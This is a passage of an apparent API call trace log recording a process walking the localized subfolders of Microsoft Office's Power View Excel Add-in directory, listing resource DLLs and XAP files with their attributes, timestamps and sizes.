nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-cyrl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.625] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-cyrl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.625] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.627] GetProcessHeap () returned 0xaf0000 [0280.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.627] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0280.627] GetProcessHeap () returned 0xaf0000 [0280.627] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.628] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.628] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.628] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.628] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.629] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.629] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-latn.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.629] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-latn.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.629] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.630] GetProcessHeap () returned 0xaf0000 [0280.630] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.630] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0280.630] GetProcessHeap () returned 0xaf0000 [0280.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.631] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.631] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15f50e21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.631] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.632] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6f2911, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6f2911, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f2911, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.632] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.632] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.632] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.632] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.633] GetProcessHeap () returned 0xaf0000 [0280.633] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.633] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0280.633] GetProcessHeap () returned 0xaf0000 [0280.633] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a5b63a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a5b63a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb713a45, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb713a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb78613f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.635] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sv.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.635] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.637] GetProcessHeap () returned 0xaf0000 [0280.637] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.637] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0280.637] GetProcessHeap () returned 0xaf0000 [0280.637] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c66c57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161b33fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81bae82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81bae82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.th.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.639] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16166f59, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.th.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.639] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.640] GetProcessHeap () returned 0xaf0000 [0280.640] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.640] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0280.641] GetProcessHeap () returned 0xaf0000 [0280.641] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, 